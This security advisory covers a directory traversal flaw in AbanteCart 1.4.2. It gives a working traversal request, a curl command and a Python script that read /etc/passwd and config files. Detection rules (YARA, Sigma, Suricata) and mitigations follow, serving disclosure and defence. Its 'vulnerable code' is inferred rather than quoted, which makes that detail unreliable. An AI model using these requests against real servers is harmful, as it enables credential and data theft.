CVE-2025-50971

Executive Summary

CVE-2025-50971 is a directory traversal vulnerability in AbanteCart version 1.4.2. An unauthenticated attacker can exploit the template parameter in index.php to read arbitrary system files, potentially exposing sensitive configuration data, credentials, or source code. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is high due to the potential for information disclosure leading to further compromise. No official patch is currently available, and the vendor status is unknown.

Supply Chain & Package Security

This vulnerability affects the AbanteCart e-commerce platform, which is a PHP-based application. While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the risk extends to any deployment of AbanteCart 1.4.2. Organizations using this software should treat it as a critical supply chain risk due to the lack of a patch.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability allows unauthenticated attackers to read sensitive system files, which can lead to credential theft, configuration disclosure, and further exploitation.

Deep Dive & Mechanics

The vulnerability resides in the template parameter of index.php. AbanteCart uses this parameter to load template files for rendering pages. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) to escape the intended template directory and read arbitrary files on the server.

Root Cause: The application does not sanitize or validate the template parameter, allowing directory traversal. The vulnerable code likely uses a function like file_get_contents() or include() with user-supplied input without proper filtering.

Attack Vector: An unauthenticated HTTP GET request to index.php with a malicious template parameter.

Example Request:

GET /index.php?template=../../../../etc/passwd HTTP/1.1
Host: target.com

This would attempt to read the /etc/passwd file, exposing system user information.

Vulnerable vs. Patched Code

Vulnerable Code (AbanteCart 1.4.2):

// index.php (simplified)
$template = $_GET['template'];
$content = file_get_contents('templates/' . $template);
echo $content;

Patched Code (Hypothetical):

// index.php (patched)
$template = basename($_GET['template']);
$allowed_path = realpath('templates/');
$requested_path = realpath('templates/' . $template);
if (strpos($requested_path, $allowed_path) !== 0) {
    die('Invalid template');
}
$content = file_get_contents($requested_path);
echo $content;

The patched version uses basename() to strip directory traversal sequences and validates that the resolved path is within the allowed template directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running AbanteCart 1.4.2
• Network access to the web server

Exploitation Steps:

1. Identify the vulnerable endpoint: index.php?template=
2. Craft a payload to read sensitive files:

   GET /index.php?template=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. For Windows targets, read ../../../../windows/win.ini or ../../../../boot.ini
4. Extract configuration files (e.g., config.php) to obtain database credentials.

Example using cURL:

curl "http://target.com/index.php?template=../../../../etc/passwd"

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "../../../../etc/passwd"
url = f"{target}/index.php?template={payload}"
response = requests.get(url)
print(response.text)

Blue Team

Detection:

• Monitor for requests containing ../ or ..\\ in the template parameter.
• Look for abnormal file paths in web server logs (e.g., /etc/passwd, /windows/win.ini).
• Use WAF rules to block directory traversal patterns.

Hunting:

• Search for index.php?template= in web logs and inspect the parameter value.
• Check for outbound connections from the web server to unknown IPs (data exfiltration).

Lab Setup:

• Deploy AbanteCart 1.4.2 in a controlled environment (e.g., Docker).
• Use a web application firewall (e.g., ModSecurity) to test detection rules.
• Simulate exploitation and verify detection via SIEM.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with template parameter containing ../ or ..\\
• Requests to index.php with unusual file paths (e.g., /etc/passwd, /windows/win.ini)
• Outbound connections from the web server to unknown IPs after exploitation

File IOCs:

• Unauthorized access to /etc/passwd, /etc/shadow, config.php, .env
• Modified web server logs (if attacker cleans traces)

Log IOCs:

• Web server logs showing GET /index.php?template=../../../../etc/passwd
• Error logs indicating failed file reads (if patched)

Detection Engineering

YARA Rule

rule CVE_2025_50971_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting AbanteCart CVE-2025-50971"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50971"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $param = "template="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: AbanteCart Directory Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects directory traversal attempts in AbanteCart CVE-2025-50971
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'template='
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate use of template paths with dots (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50971 AbanteCart Directory Traversal"; flow:to_server,established; content:"GET"; http_method; content:"index.php"; http_uri; content:"template="; http_uri; pcre:"/template=.*(?:\.\.\/|\.\.\\)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, block access to index.php?template= via web server configuration (e.g., .htaccess or Nginx rules).
2. Apply virtual patching: Use a WAF to block directory traversal patterns in the template parameter.
3. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.

Long-term Fix:

• Implement input validation: Use basename() and realpath() to restrict file access to the template directory.
• Use a whitelist of allowed template files.
• Apply the principle of least privilege to the web server user.

Workaround:

• Modify the source code to sanitize the template parameter (see patched code example).
• Monitor logs for exploitation attempts.

Valters IT
Securing Digital Frontiers